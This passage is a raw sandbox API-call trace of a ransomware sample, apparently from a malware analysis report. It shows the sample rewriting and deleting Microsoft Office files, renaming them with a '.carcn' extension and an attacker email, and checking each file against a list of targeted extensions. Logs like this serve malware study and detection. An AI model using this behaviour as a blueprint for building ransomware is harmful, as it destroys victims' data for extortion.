1 [0276.290] CloseHandle (hObject=0x414) returned 1 [0276.290] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.290] SetEndOfFile (hFile=0x524) returned 1 [0276.322] CloseHandle (hObject=0x524) returned 1 [0276.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0277.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 1 [0277.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0277.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0277.688] lstrlenW (lpString=".doc") returned 4 [0277.688] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0277.688] lstrlenW (lpString=".docx") returned 5 [0277.688] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0277.689] lstrlenW (lpString=".pdf") returned 4 [0277.689] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0277.689] lstrlenW (lpString=".xls") returned 4 [0277.689] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0277.689] lstrlenW (lpString=".xlsx") returned 5 [0277.689] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0277.689] lstrlenW (lpString=".ppt") returned 4 [0277.689] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0277.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0277.689] lstrlenW (lpString=".zip") returned 4 [0277.689] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0277.689] lstrlenW (lpString=".rar") returned 4 [0277.689] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0277.689] lstrlenW (lpString=".bz2") returned 4 [0277.689] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0277.689] lstrlenW (lpString=".7z") returned 3 [0277.689] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0277.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0277.689] lstrlenW (lpString=".dbf") returned 4 [0277.689] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0277.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0277.689] lstrlenW (lpString=".1cd") returned 4 [0277.689] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0277.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0277.689] lstrlenW (lpString=".jpg") returned 4 [0277.690] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0277.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0277.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0277.690] lstrlenW (lpString=".doc") returned 4 [0277.690] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0277.690] lstrlenW (lpString=".docx") returned 5 [0277.690] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0277.690] lstrlenW (lpString=".pdf") returned 4 [0277.690] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0277.690] lstrlenW (lpString=".xls") returned 4 [0277.690] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0277.690] lstrlenW (lpString=".xlsx") returned 5 [0277.690] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0277.690] lstrlenW (lpString=".ppt") returned 4 [0277.690] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0277.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0277.690] lstrlenW (lpString=".zip") returned 4 [0277.690] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0277.690] lstrlenW (lpString=".rar") returned 4 [0277.690] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0277.690] lstrlenW (lpString=".bz2") returned 4 [0277.690] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0277.690] lstrlenW (lpString=".7z") returned 3 [0277.691] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0277.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0277.691] lstrlenW (lpString=".dbf") returned 4 [0277.691] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0277.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0277.691] lstrlenW (lpString=".1cd") returned 4 [0277.691] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0277.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83 [0277.691] lstrlenW (lpString=".jpg") returned 4 [0277.691] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0277.691] lstrcmpiW (lpString1=".eftx", lpString2=".carcn") returned 1 [0277.691] lstrlenW (lpString="Grunge Texture.eftx") returned 19 [0277.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0277.808] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=352776) returned 1 [0277.809] CloseHandle (hObject=0x548) returned 1 [0277.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 0x220 [0277.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0277.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0277.811] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.811] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0277.812] GetLastError () returned 0x0 [0277.812] ReadFile (in: hFile=0x548, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x56208, lpOverlapped=0x0) returned 1 [0277.929] WriteFile (in: hFile=0x544, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x56210, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x56210, lpOverlapped=0x0) returned 1 [0277.937] ReadFile (in: hFile=0x548, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.937] WriteFile (in: hFile=0x544, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xfa, lpOverlapped=0x0) returned 1 [0277.937] SetEndOfFile (hFile=0x544) returned 1 [0277.939] CloseHandle (hObject=0x544) returned 1 [0277.939] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.939] SetEndOfFile (hFile=0x548) returned 1 [0277.950] CloseHandle (hObject=0x548) returned 1 [0277.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0277.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx")) returned 1 [0277.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0277.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0277.952] lstrlenW (lpString=".doc") returned 4 [0277.952] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0277.952] lstrlenW (lpString=".docx") returned 5 [0277.952] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0277.952] lstrlenW (lpString=".pdf") returned 4 [0277.952] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0277.952] lstrlenW (lpString=".xls") returned 4 [0277.952] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0277.952] lstrlenW (lpString=".xlsx") returned 5 [0277.952] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0277.952] lstrlenW (lpString=".ppt") returned 4 [0277.952] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0277.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0277.952] lstrlenW (lpString=".zip") returned 4 [0277.952] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0277.952] lstrlenW (lpString=".rar") returned 4 [0277.953] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0277.953] lstrlenW (lpString=".bz2") returned 4 [0277.953] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0277.953] lstrlenW (lpString=".7z") returned 3 [0277.953] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0277.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0277.953] lstrlenW (lpString=".dbf") returned 4 [0277.953] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0277.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0277.953] lstrlenW (lpString=".1cd") returned 4 [0277.953] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0277.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0277.953] lstrlenW (lpString=".jpg") returned 4 [0277.953] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0277.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0277.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0277.953] lstrlenW (lpString=".doc") returned 4 [0277.953] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0277.953] lstrlenW (lpString=".docx") returned 5 [0277.953] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0277.953] lstrlenW (lpString=".pdf") returned 4 [0277.953] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0277.953] lstrlenW (lpString=".xls") returned 4 [0277.953] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0277.954] lstrlenW (lpString=".xlsx") returned 5 [0277.954] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0277.954] lstrlenW (lpString=".ppt") returned 4 [0277.954] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0277.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0277.955] lstrlenW (lpString=".zip") returned 4 [0277.955] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0277.955] lstrlenW (lpString=".rar") returned 4 [0277.955] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0277.955] lstrlenW (lpString=".bz2") returned 4 [0277.955] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0277.955] lstrlenW (lpString=".7z") returned 3 [0277.955] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0277.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0277.955] lstrlenW (lpString=".dbf") returned 4 [0277.956] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0277.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0277.956] lstrlenW (lpString=".1cd") returned 4 [0277.956] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0277.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 91 [0277.956] lstrlenW (lpString=".jpg") returned 4 [0277.956] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0277.956] lstrcmpiW (lpString1=".eftx", lpString2=".carcn") returned 1 [0277.956] lstrlenW (lpString="Milk Glass.eftx") returned 15 [0277.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0278.686] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=46403) returned 1 [0278.686] CloseHandle (hObject=0x544) returned 1 [0278.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 0x220 [0278.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0278.691] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.691] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0278.693] GetLastError () returned 0x0 [0278.693] ReadFile (in: hFile=0x544, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0xb543, lpOverlapped=0x0) returned 1 [0278.712] WriteFile (in: hFile=0x43c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xb550, lpOverlapped=0x0) returned 1 [0278.716] ReadFile (in: hFile=0x544, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.716] WriteFile (in: hFile=0x43c, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xf2, lpOverlapped=0x0) returned 1 [0278.717] SetEndOfFile (hFile=0x43c) returned 1 [0278.717] CloseHandle (hObject=0x43c) returned 1 [0278.717] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.717] SetEndOfFile (hFile=0x544) returned 1 [0278.721] CloseHandle (hObject=0x544) returned 1 [0278.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0278.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 1 [0278.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0278.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0278.723] lstrlenW (lpString=".doc") returned 4 [0278.723] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.723] lstrlenW (lpString=".docx") returned 5 [0278.723] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.723] lstrlenW (lpString=".pdf") returned 4 [0278.724] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.724] lstrlenW (lpString=".xls") returned 4 [0278.724] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.724] lstrlenW (lpString=".xlsx") returned 5 [0278.724] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.724] lstrlenW (lpString=".ppt") returned 4 [0278.724] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0278.725] lstrlenW (lpString=".zip") returned 4 [0278.725] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.725] lstrlenW (lpString=".rar") returned 4 [0278.725] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.725] lstrlenW (lpString=".bz2") returned 4 [0278.725] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.725] lstrlenW (lpString=".7z") returned 3 [0278.725] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0278.725] lstrlenW (lpString=".dbf") returned 4 [0278.725] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0278.726] lstrlenW (lpString=".1cd") returned 4 [0278.726] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0278.726] lstrlenW (lpString=".jpg") returned 4 [0278.726] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0278.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0278.726] lstrlenW (lpString=".doc") returned 4 [0278.726] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0278.726] lstrlenW (lpString=".docx") returned 5 [0278.726] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0278.726] lstrlenW (lpString=".pdf") returned 4 [0278.726] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0278.726] lstrlenW (lpString=".xls") returned 4 [0278.726] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0278.726] lstrlenW (lpString=".xlsx") returned 5 [0278.726] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0278.726] lstrlenW (lpString=".ppt") returned 4 [0278.727] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0278.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0278.727] lstrlenW (lpString=".zip") returned 4 [0278.727] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0278.727] lstrlenW (lpString=".rar") returned 4 [0278.727] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0278.727] lstrlenW (lpString=".bz2") returned 4 [0278.727] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0278.727] lstrlenW (lpString=".7z") returned 3 [0278.727] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0278.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0278.727] lstrlenW (lpString=".dbf") returned 4 [0278.727] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0278.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0278.727] lstrlenW (lpString=".1cd") returned 4 [0278.727] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0278.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0278.727] lstrlenW (lpString=".jpg") returned 4 [0278.727] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0278.728] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0278.728] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0278.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0278.732] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=18624) returned 1 [0278.732] CloseHandle (hObject=0x544) returned 1 [0278.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0278.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0278.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0278.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0278.734] lstrlenW (lpString=".doc") returned 4 [0278.734] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0278.734] lstrlenW (lpString=".docx") returned 5 [0278.734] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0278.735] lstrlenW (lpString=".pdf") returned 4 [0278.735] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0278.735] lstrlenW (lpString=".xls") returned 4 [0278.735] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0278.735] lstrlenW (lpString=".xlsx") returned 5 [0278.735] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0278.735] lstrlenW (lpString=".ppt") returned 4 [0278.735] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0278.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0278.735] lstrlenW (lpString=".zip") returned 4 [0278.735] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.082] lstrlenW (lpString=".rar") returned 4 [0279.082] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.082] lstrlenW (lpString=".bz2") returned 4 [0279.082] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.082] lstrlenW (lpString=".7z") returned 3 [0279.082] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0279.082] lstrlenW (lpString=".dbf") returned 4 [0279.083] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80 [0279.083] lstrlenW (lpString=".1cd") returned 4 [0279.083] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.083] lstrlenW (lpString="C:\\Program Files\\Microsoft 